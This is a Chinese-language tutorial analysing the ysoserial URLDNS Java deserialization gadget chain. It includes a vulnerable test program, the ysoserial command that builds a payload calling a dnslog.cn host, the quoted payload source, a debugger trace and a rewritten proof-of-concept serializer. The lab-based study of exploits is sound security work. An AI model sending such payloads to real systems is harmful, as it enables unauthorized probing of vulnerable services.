0x01 前言
URLDNS 是 ysoserial 中最适合入门反序列化的一条利用链了
它的使用非常广,常常用于判断是否存在反序列化漏洞时使⽤
以下为该链的优点
java版本: java version “1.8.0_271” Java(TM) SE Runtime Environment (build 1.8.0_271-b09) Java HotSpot(TM) 64-Bit Server VM (build 25.271-b09, mixed mode)
如果懒的创建环境的话,也可以通过github下载该环境如下:<br />[https://github.com/pmiaowu/DeserializationTest](https://github.com/pmiaowu/DeserializationTest)如果想自己一点点安装环境的话,那就按照下面的教程走一遍即可<br /><br /><br />```java// 项目创建完毕以后在: /DeserializationTest/src/main/java/// 创建这么一个 Test.java文件// Test.java 代码import java.io.FileInputStream;import java.io.ObjectInputStream;public class Test {public static void main(String[] args) throws Exception {FileInputStream fis = new FileInputStream("poc.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();ois.close();System.out.println("执行完毕");}}

0x03 ysoserial攻击链测试
先打开 http://dnslog.cn/ 获取个临时域名进行测试
例如获取的临时域名为: gcy9z8.dnslog.cn
// 执行命令生成pocjava -jar ysoserial-0.0.5-all.jar URLDNS "http://123.gcy9z8.dnslog.cn" > ./DeserializationTest/poc.ser// 执行完毕以后 DeserializationTest目录下面会生成 poc.ser
接着就去运行 Test 方法,进行攻击测试

这就是这条攻击链会造成的效果,了解了功能,那么后面就可以开始了解原理了
0x04 攻击链分析
0x04.1 payload文件介绍
首先打开并进入 ysoserial 项目
找到 /ysoserial-0.0.5/src/main/java/ysoserial/payloads/URLDNS.java 这个文件
看看 ysoserial 是如何生成URLDNS利用链的
代码如下:
package ysoserial.payloads;import java.io.IOException;import java.net.InetAddress;import java.net.URLConnection;import java.net.URLStreamHandler;import java.util.HashMap;import java.net.URL;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;/*** A blog post with more details about this gadget chain is at the url below:* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/* <p>* This was inspired by Philippe Arteau @h3xstream, who wrote a blog* posting describing how he modified the Java Commons Collections gadget* in ysoserial to open a URL. This takes the same idea, but eliminates* the dependency on Commons Collections and does a DNS lookup with just* standard JDK classes.* <p>* The Java URL class has an interesting property on its equals and* hashCode methods. The URL class will, as a side effect, do a DNS lookup* during a comparison (either equals or hashCode).* <p>* As part of deserialization, HashMap calls hashCode on each key that it* deserializes, so using a Java URL object as a serialized key allows* it to trigger a DNS lookup.* <p>* Gadget Chain:* HashMap.readObject()* HashMap.putVal()* HashMap.hash()* URL.hashCode()*/@SuppressWarnings({"rawtypes", "unchecked"})@Dependencies()@Authors({Authors.GEBL})public class URLDNS implements ObjectPayload<Object> {public Object getObject(final String url) throws Exception {//Avoid DNS resolution during payload creation//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.URLStreamHandler handler = new SilentURLStreamHandler();HashMap ht = new HashMap(); // HashMap that will contain the URLURL u = new URL(null, url, handler); // URL to use as the Keyht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.return ht;}public static void main(final String[] args) throws Exception {PayloadRunner.run(URLDNS.class, args);}/*** <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior* using the serialized object.</p>** <b>Potential false negative:</b>* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the* second resolution.</p>*/static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}}
0x04.2 利用链过程
ysoserial 源码的注释中给出了利用链的过程如下:
HashMap.readObject()HashMap.putVal()HashMap.hash()URL.hashCode()
0x04.3 利用链跟踪
ps: ysoserial项目每个反序列化的利用类里面的getObject方法都是获取Payload的
因此getObject方法可以看成是ysoserial项目获取Payload的入口点
我们这里就跟着 ysoserial 给的poc一步步调试
首先查看 URLDNS类的 getObject方法, ysoserial会调⽤这个方法获得Payload
这个方法最后面返回的是一个Object,而这个Object就是HashMap,同时也是最后被序列列化并且返回的对象
0x04.3.1 第一步 HashMap.readObject()
接着就开始正式分析,ysoserial项目给出的路径第一步是 HashMap.readObject()
说明漏洞入口点就是 HashMap类的readObject()方法,我们跟进去
跟进去HashMap类以后,搜索readObject方法
/*** Reconstitutes this map from a stream (that is, deserializes it).* @param s the stream* @throws ClassNotFoundException if the class of a serialized object* could not be found* @throws IOException if an I/O error occurs*/private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +loadFactor);s.readInt(); // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " +mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}
接着查看ysoserial项目给出的路径
0x04.3.2 第二步 HashMap.putVal()
第二步是 HashMap.putVal() 跟进去
因此进入以后在上面代码的第48行的位置可以看到调用了hash()方法
可以看到这里将 HashMap的键名计算了hash,代码如下:
putVal(hash(key), key, value, false, false);
0x04.3.3 第三步 HashMap.hash()
接着跟进去第三步是 HashMap.hash()
很明显的看得到hash方法调用了hashCode()方法,如下代码:
static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}
0x04.3.4 第三步 断点调试 hash() 方法
接着分别对下面这两个地方打上断点,方便我们跟进去hash()方法进行调试,看看最终这个key是啥子
注意: 打上两个断点的原因是为了可以更快更准确的进入到 HashMap.readObject() 类,调用的 hash() 方法

这两个断点打上以后就可以进入下一步了
输入对应的值,准备进行断点调试,如下图:


启动调试以后,你会发现并没有走到我们想要的逻辑中
这是因为还没到反序列化点呢,点击一下那个红色圆圈,如下图:
先取消打勾,因为有大量的无关的类调用了hash()所以为了不影响我们debug,先关闭,如下图:
接着按照下图进行操作:
重新点击一下那个红色圆圈,如下图:

按下图操作,即可进入到HashMap.readObject() 类,调用的 hash() 方法,详情

0x04.3.5 第三步 断点调试结论
ysoserial项目中的URLDNS类传给HashMap.hash()的方法的key的是一个 java.net.URL对象
所以最终触发的就是URL类的hashCode()方法
0x04.3.6 第三步 hash() 方法赋值说明
ysoserial项目中的URLDNS类选择使用HashMap().put()方法进行赋值
这个赋值方法不是固定的,你要是喜欢的话,还可以使用 HashMap().putIfAbsent()方法进行赋值
只要它最终会调用putVal(hash(key), key, value, xxxx, xxxx);即可
后面重写poc的话,我会使用HashMap().putIfAbsent()进行演示的

接着继续查看ysoserial项目给出的路径
0x04.3.7 第四步 URL.hashCode()
第四步 URL.hashCode() 说是这里触发的
而我们一路跟进来的话,很明显也是URL.hashCode()触发的
因此打开 java/net/URL.java 这个类,查找hashCode()方法
直接跟进去这个 handler.hashCode(this) 然后看到调用了 getHostAddress() 方法,继续跟进

这里的InetAddress.getByName(host)会根据host头去获取IP地址,在网络上就是发了一次DNS查询,后面的就不需要在跟了,因为都是正常业务
0x04.4 利用链过程(完整)
我们重新理一下整个URLDNS的链,你会发现很清晰简单(这是最最最简单的链了)
- HashMap->readObject()
- HashMap->putVal() 这个方法实际上不能算链里面,但是它调用了hash()方法所以我列了进来
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
从反序列化开始的readObject()方法到最后面触发getByName(),只经过了七个方法的调用,这对比java其它的链简直不要太少
我们在看ysoserial项目的URLDNS的类利用时,会发现ysoserial项目调用了一个SilentURLStreamHandler类
SilentURLStreamHandler类继承了URLStreamHandler类
并重写了openConnection()和getHostAddress()方法
注意哦: 这不是必须的!!!!这是因为ysoserial项目防止在生成Payload的时候也执行了URL请求与DNS查询而特地写的一个类
0x05 重写poc
// 路径: /DeserializationTest/src/main/java// 文件名称: URLDNSTest.javaimport java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class URLDNSTest {public static void main(String[] args) throws Exception {// 原版的poc1();// 随便换了点东西的// 注意: 这个方法在jdk1.8或以上才能正常使用// poc2();}public static void poc1() throws Exception {HashMap<URL, String> obj = new HashMap<URL, String>();String url = "http://test123.wbqgs9.dnslog.cn";URL u = new URL(url);Class clazz = Class.forName("java.net.URL");Field field = clazz.getDeclaredField("hashCode");field.setAccessible(true);// 设一个这个值,这样去put的时候就不会去查DNSfield.set(u, 0xdeadbeef);// 这个test可以随便改obj.put(u, "test");// 一定要设置这个URL对象的hashCode为初始值-1,这样反序列列化时才会重新计算// 才会调用URL->hashCode()field.set(u, -1);// 序列化FileOutputStream fileOut = new FileOutputStream("./poc.ser");ObjectOutputStream out = new ObjectOutputStream(fileOut);out.writeObject(obj);out.close();fileOut.close();}// public static void poc2() throws Exception {// HashMap<URL, String> obj = new HashMap<URL, String>();//// String url = "http://123test.wbqgs9.dnslog.cn";// URL u = new URL(url);//// Class clazz = Class.forName("java.net.URL");// Field field = clazz.getDeclaredField("hashCode");// field.setAccessible(true);//// // 设一个这个值,这样去putIfAbsent的时候就不会去查DNS// field.set(u, 0xdeadbeef);//// // 这个test可以随便改// // 最稳的还是put方法// // 注意: 这个方法在jdk1.8或以上才有// // 使用这个方法只是单纯的扩展一下说明,一个链不一定就是一成不变的// obj.putIfAbsent(u, "test");//// // 一定要设置这个URL对象的hashCode为初始值-1,这样反序列列化时才会重新计算// // 才会调用URL->hashCode()// field.set(u, -1);//// // 序列化// FileOutputStream fileOut = new FileOutputStream("./poc.ser");// ObjectOutputStream out = new ObjectOutputStream(fileOut);// out.writeObject(obj);// out.close();// fileOut.close();// }}
